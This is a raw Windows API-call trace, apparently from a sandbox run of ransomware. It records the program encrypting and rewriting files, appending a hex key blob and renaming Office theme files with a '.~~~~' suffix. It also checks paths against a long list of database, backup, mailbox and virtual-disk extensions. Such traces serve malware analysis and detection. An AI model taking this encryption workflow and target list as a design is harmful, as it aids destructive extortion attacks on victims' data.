	[0123.178] RtlUnwind (TargetFrame=0x1f8fc20, TargetIp=0x423f9b, ExceptionRecord=0x1f8f5dc, ReturnValue=0x0) 
	[0123.178] GetLastError () returned 0x0
	[0123.178] GetLastError () returned 0x0
	[0123.180] SetFilePointerEx (in: hFile=0x128, liDistanceToMove=0xfffff104, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0123.180] WriteFile (in: hFile=0x128, lpBuffer=0x2a1e0a8*, nNumberOfBytesToWrite=0xefc, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x2a1e0a8*, lpNumberOfBytesWritten=0x1f8fec0*=0xefc, lpOverlapped=0x0) returned 1
	[0123.182] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2a1e0a8 | out: hHeap=0x300000) returned 1
	[0123.182] SetFilePointerEx (in: hFile=0x128, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0123.182] WriteFile (in: hFile=0x128, lpBuffer=0x368bb0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x368bb0*, lpNumberOfBytesWritten=0x1f8fec0*=0x8, lpOverlapped=0x0) returned 1
	[0123.182] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0123.182] WriteFile (in: hFile=0x128, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x1f8fec0*=0x200, lpOverlapped=0x0) returned 1
	[0123.182] CloseHandle (hObject=0x128) returned 1
	[0123.184] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xb0) returned 0x390cd0
	[0123.184] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Couture.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme fonts\\couture.xml"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Couture.xml.~~~~" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme fonts\\couture.xml.~~~~")) returned 1
	[0123.220] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x390cd0 | out: hHeap=0x300000) returned 1
	[0123.220] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357050 | out: hHeap=0x300000) returned 1
	[0123.220] GetLastError () returned 0x0
	[0123.294] CryptAcquireContextA (in: phProv=0x1f8fcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x1f8fcdc*=0x3a0048) returned 1
	[0123.327] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x363058 | out: pbBuffer=0x363058) returned 1
	[0123.327] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0123.327] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x363058 | out: hHeap=0x300000) returned 1
	[0123.327] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368bb0
	[0123.327] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2878618
	[0123.327] QueryPerformanceCounter (in: lpPerformanceCount=0x1f8fc48 | out: lpPerformanceCount=0x1f8fc48*=24331711688) returned 1
	[0123.327] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x1f8fc88 | out: lpSystemTimeAsFileTime=0x1f8fc88*(dwLowDateTime=0xb2fbbb50, dwHighDateTime=0x1d60e1e)) 
	[0123.327] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362420
	[0123.327] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623a0
	[0123.327] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x3570e0
	[0123.327] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x281f608
	[0123.327] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0123.327] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x281f608 | out: hHeap=0x300000) returned 1
	[0123.327] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0123.328] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0123.328] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x3b6a00
	[0123.328] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0123.328] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x28b46a0
	[0123.328] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3b6a00 | out: hHeap=0x300000) returned 1
	[0123.328] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x1f8fb18) 
	[0123.328] GetLastError () returned 0x0
	[0123.328] GetLastError () returned 0x0
	[0123.328] RtlUnwind (TargetFrame=0x1f8fc20, TargetIp=0x423f9b, ExceptionRecord=0x1f8f5dc, ReturnValue=0x0) 
	[0123.328] GetLastError () returned 0x0
	[0123.329] GetLastError () returned 0x0
	[0123.331] SetFilePointerEx (in: hFile=0x11c, liDistanceToMove=0xfffff0f7, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0123.331] WriteFile (in: hFile=0x11c, lpBuffer=0x2a1e0a8*, nNumberOfBytesToWrite=0xf09, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x2a1e0a8*, lpNumberOfBytesWritten=0x1f8fec0*=0xf09, lpOverlapped=0x0) returned 1
	[0123.334] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2a1e0a8 | out: hHeap=0x300000) returned 1
	[0123.334] SetFilePointerEx (in: hFile=0x11c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0123.334] WriteFile (in: hFile=0x11c, lpBuffer=0x368bb0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x368bb0*, lpNumberOfBytesWritten=0x1f8fec0*=0x8, lpOverlapped=0x0) returned 1
	[0123.334] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0123.334] WriteFile (in: hFile=0x11c, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x1f8fec0*=0x200, lpOverlapped=0x0) returned 1
	[0123.334] CloseHandle (hObject=0x11c) returned 1
	[0123.335] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xb0) returned 0x38fad8
	[0123.335] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Hardcover.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme fonts\\hardcover.xml"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Hardcover.xml.~~~~" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme fonts\\hardcover.xml.~~~~")) returned 1
	[0123.337] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x38fad8 | out: hHeap=0x300000) returned 1
	[0123.337] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3570e0 | out: hHeap=0x300000) returned 1
	[0123.337] GetLastError () returned 0x0
	[0123.337] lstrlenW (lpString=".sqb") returned 4
	[0123.337] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Newsprint.xml", lpSrch=".sqb") returned 0x0
	[0123.337] lstrlenW (lpString=".ost") returned 4
	[0123.337] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Newsprint.xml", lpSrch=".ost") returned 0x0
	[0123.337] lstrlenW (lpString=".txt") returned 4
	[0123.338] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Newsprint.xml", lpSrch=".txt") returned 0x0
	[0123.338] lstrlenW (lpString=".mdt") returned 4
	[0123.338] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Newsprint.xml", lpSrch=".mdt") returned 0x0
	[0123.338] lstrlenW (lpString=".BDB") returned 4
	[0123.338] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Newsprint.xml", lpSrch=".BDB") returned 0x0
	[0123.338] lstrlenW (lpString=".eql") returned 4
	[0123.338] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Newsprint.xml", lpSrch=".eql") returned 0x0
	[0123.338] lstrlenW (lpString=".DBF") returned 4
	[0123.338] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Newsprint.xml", lpSrch=".DBF") returned 0x0
	[0123.338] lstrlenW (lpString=".EQL") returned 4
	[0123.338] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Newsprint.xml", lpSrch=".EQL") returned 0x0
	[0123.338] lstrlenW (lpString=".FDB") returned 4
	[0123.338] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Newsprint.xml", lpSrch=".FDB") returned 0x0
	[0123.338] lstrlenW (lpString=".EDB") returned 4
	[0123.338] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Newsprint.xml", lpSrch=".EDB") returned 0x0
	[0123.338] lstrlenW (lpString=".DACPAC") returned 7
	[0123.338] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Newsprint.xml", lpSrch=".DACPAC") returned 0x0
	[0123.338] lstrlenW (lpString=".VHD") returned 4
	[0123.338] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Newsprint.xml", lpSrch=".VHD") returned 0x0
	[0123.338] lstrlenW (lpString=".DBV") returned 4
	[0123.338] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Newsprint.xml", lpSrch=".DBV") returned 0x0
	[0123.338] lstrlenW (lpString=".dacpac") returned 7
	[0123.338] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Newsprint.xml", lpSrch=".dacpac") returned 0x0
	[0123.338] lstrlenW (lpString=".sdf") returned 4
	[0123.338] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Newsprint.xml", lpSrch=".sdf") returned 0x0
	[0123.338] lstrlenW (lpString=".accdb") returned 6
	[0123.338] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Newsprint.xml", lpSrch=".accdb") returned 0x0
	[0123.339] lstrlenW (lpString=".DBX") returned 4
	[0123.339] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Newsprint.xml", lpSrch=".DBX") returned 0x0
	[0123.339] lstrlenW (lpString=".MDT") returned 4
	[0123.339] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Newsprint.xml", lpSrch=".MDT") returned 0x0
	[0123.339] lstrlenW (lpString=".SQB") returned 4
	[0123.339] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Newsprint.xml", lpSrch=".SQB") returned 0x0
	[0123.339] lstrlenW (lpString=".vhd") returned 4
	[0123.339] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Newsprint.xml", lpSrch=".vhd") returned 0x0
	[0123.339] lstrlenW (lpString=".bac") returned 4
	[0123.339] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Newsprint.xml", lpSrch=".bac") returned 0x0
	[0123.339] lstrlenW (lpString=".mdf") returned 4
	[0123.339] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Newsprint.xml", lpSrch=".mdf") returned 0x0
	[0123.339] lstrlenW (lpString=".BAK") returned 4
	[0123.339] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Newsprint.xml", lpSrch=".BAK") returned 0x0
	[0123.339] lstrlenW (lpString=".BAC") returned 4
	[0123.339] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Newsprint.xml", lpSrch=".BAC") returned 0x0
	[0123.339] lstrlenW (lpString=".dbs") returned 4
	[0123.339] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Newsprint.xml", lpSrch=".dbs") returned 0x0
	[0123.339] lstrlenW (lpString=".vhdx") returned 5
	[0123.339] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Newsprint.xml", lpSrch=".vhdx") returned 0x0
	[0123.339] lstrlenW (lpString=".NDF") returned 4
	[0123.339] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Newsprint.xml", lpSrch=".NDF") returned 0x0
	[0123.339] lstrlenW (lpString=".dat") returned 4
	[0123.339] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Newsprint.xml", lpSrch=".dat") returned 0x0
	[0123.339] lstrlenW (lpString=".DBS") returned 4
	[0123.339] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Newsprint.xml", lpSrch=".DBS") returned 0x0
	[0123.340] lstrlenW (lpString=".CKP") returned 4
	[0123.340] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Newsprint.xml", lpSrch=".CKP") returned 0x0
	[0123.340] lstrlenW (lpString=".edb") returned 4
	[0123.340] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Newsprint.xml", lpSrch=".edb") returned 0x0
	[0123.340] lstrlenW (lpString=".PST") returned 4
	[0123.340] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Newsprint.xml", lpSrch=".PST") returned 0x0
	[0123.340] lstrlenW (lpString=".dbf") returned 4
	[0123.340] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Newsprint.xml", lpSrch=".dbf") returned 0x0
	[0123.340] lstrlenW (lpString=".SQL") returned 4
	[0123.340] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Newsprint.xml", lpSrch=".SQL") returned 0x0
	[0123.340] lstrlenW (lpString=".pst") returned 4
	[0123.340] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Newsprint.xml", lpSrch=".pst") returned 0x0
	[0123.340] lstrlenW (lpString=".dbv") returned 4
	[0123.340] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Newsprint.xml", lpSrch=".dbv") returned 0x0
	[0123.340] lstrlenW (lpString=".SDF") returned 4
	[0123.340] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Newsprint.xml", lpSrch=".SDF") returned 0x0
	[0123.340] lstrlenW (lpString=".dtxs") returned 5
	[0123.340] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Newsprint.xml", lpSrch=".dtxs") returned 0x0
	[0123.340] lstrlenW (lpString=".db3") returned 4
	[0123.340] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Newsprint.xml", lpSrch=".db3") returned 0x0
	[0123.340] lstrlenW (lpString=".OST") returned 4
	[0123.340] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Newsprint.xml", lpSrch=".OST") returned 0x0
	[0123.340] lstrlenW (lpString=".dbx") returned 4
	[0123.340] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Newsprint.xml", lpSrch=".dbx") returned 0x0
	[0123.340] lstrlenW (lpString=".DB3") returned 4
	[0123.340] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Newsprint.xml", lpSrch=".DB3") returned 0x0
	[0123.341] lstrlenW (lpString=".DAT") returned 4
	[0123.341] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Newsprint.xml", lpSrch=".DAT") returned 0x0
	[0123.341] lstrlenW (lpString=".VHDX") returned 5
	[0123.341] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Newsprint.xml", lpSrch=".VHDX") returned 0x0
	[0123.341] lstrlenW (lpString=".ndf") returned 4
	[0123.341] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Newsprint.xml", lpSrch=".ndf") returned 0x0
	[0123.341] lstrlenW (lpString=".DB") returned 3
	[0123.341] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Newsprint.xml", lpSrch=".DB") returned 0x0
	[0123.341] lstrlenW (lpString=".sql") returned 4
	[0123.341] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Newsprint.xml", lpSrch=".sql") returned 0x0
	[0123.341] lstrlenW (lpString=".MYD") returned 4
	[0123.341] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Newsprint.xml", lpSrch=".MYD") returned 0x0
	[0123.341] lstrlenW (lpString=".DBT") returned 4
	[0123.341] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Newsprint.xml", lpSrch=".DBT") returned 0x0
	[0123.341] lstrlenW (lpString=".ACCDB") returned 6
	[0123.341] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Newsprint.xml", lpSrch=".ACCDB") returned 0x0
	[0123.341] lstrlenW (lpString=".fdb") returned 4
	[0123.341] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Newsprint.xml", lpSrch=".fdb") returned 0x0
	[0123.341] lstrlenW (lpString=".bak") returned 4
	[0123.341] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Newsprint.xml", lpSrch=".bak") returned 0x0
	[0123.341] lstrlenW (lpString=".myd") returned 4
	[0123.341] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Newsprint.xml", lpSrch=".myd") returned 0x0
	[0123.341] lstrlenW (lpString=".DTXS") returned 5
	[0123.341] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Newsprint.xml", lpSrch=".DTXS") returned 0x0
	[0123.342] lstrlenW (lpString=".ckp") returned 4
	[0123.342] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Newsprint.xml", lpSrch=".ckp") returned 0x0
	[0123.342] lstrlenW (lpString=".dbt") returned 4
	[0123.342] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Newsprint.xml", lpSrch=".dbt") returned 0x0
	[0123.342] lstrlenW (lpString=".db") returned 3
	[0123.342] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Newsprint.xml", lpSrch=".db") returned 0x0
	[0123.342] lstrlenW (lpString=".TXT") returned 4
	[0123.342] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Newsprint.xml", lpSrch=".TXT") returned 0x0
	[0123.360] lstrlenW (lpString=".MDF") returned 4
	[0123.360] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Newsprint.xml", lpSrch=".MDF") returned 0x0
	[0123.360] lstrlenW (lpString=".bdb") returned 4
	[0123.360] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Newsprint.xml", lpSrch=".bdb") returned 0x0
	[0123.360] lstrlenW (lpString=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 58
	[0123.360] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Newsprint.xml", lpSrch=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 0x0
	[0123.360] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x130) returned 0x2804470
	[0123.360] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x20) returned 0x363058
	[0123.360] CryptAcquireContextA (in: phProv=0x1f8fcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x1f8fcdc*=0x3a0048) returned 1
	[0123.361] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x363058 | out: pbBuffer=0x363058) returned 1
	[0123.361] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0123.362] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x363058 | out: hHeap=0x300000) returned 1
	[0123.362] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368bb0
	[0123.362] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2878618
	[0123.362] QueryPerformanceCounter (in: lpPerformanceCount=0x1f8fc48 | out: lpPerformanceCount=0x1f8fc48*=24335445373) returned 1
	[0123.364] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x1f8fc88 | out: lpSystemTimeAsFileTime=0x1f8fc88*(dwLowDateTime=0xb3007e10, dwHighDateTime=0x1d60e1e)) 
	[0123.367] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623a0
	[0123.367] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362420
	[0123.367] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x3570e0
	[0123.368] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x281f6b0
	[0123.368] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0123.368] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x281f6b0 | out: hHeap=0x300000) returned 1
	[0123.368] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0123.368] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0123.368] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x3b6a00
	[0123.368] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0123.368] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x28b46a0
	[0123.368] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3b6a00 | out: hHeap=0x300000) returned 1
	[0123.368] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x1f8fb18) 
	[0123.368] GetLastError () returned 0x0
	[0123.369] GetLastError () returned 0x0
	[0123.369] RtlUnwind (TargetFrame=0x1f8fc20, TargetIp=0x423f9b, ExceptionRecord=0x1f8f5dc, ReturnValue=0x0) 
	[0123.369] GetLastError () returned 0x0
	[0123.369] GetLastError () returned 0x0
	[0123.371] SetFilePointerEx (in: hFile=0x11c, liDistanceToMove=0xfffff1c7, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0123.371] WriteFile (in: hFile=0x11c, lpBuffer=0x2a1e0a8*, nNumberOfBytesToWrite=0xe39, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x2a1e0a8*, lpNumberOfBytesWritten=0x1f8fec0*=0xe39, lpOverlapped=0x0) returned 1
	[0123.374] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2a1e0a8 | out: hHeap=0x300000) returned 1
	[0123.374] SetFilePointerEx (in: hFile=0x11c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0123.374] WriteFile (in: hFile=0x11c, lpBuffer=0x368bb0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x368bb0*, lpNumberOfBytesWritten=0x1f8fec0*=0x8, lpOverlapped=0x0) returned 1
	[0123.374] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0123.374] WriteFile (in: hFile=0x11c, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x1f8fec0*=0x200, lpOverlapped=0x0) returned 1
	[0123.374] CloseHandle (hObject=0x11c) returned 1
	[0123.374] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xb0) returned 0x3a5b98
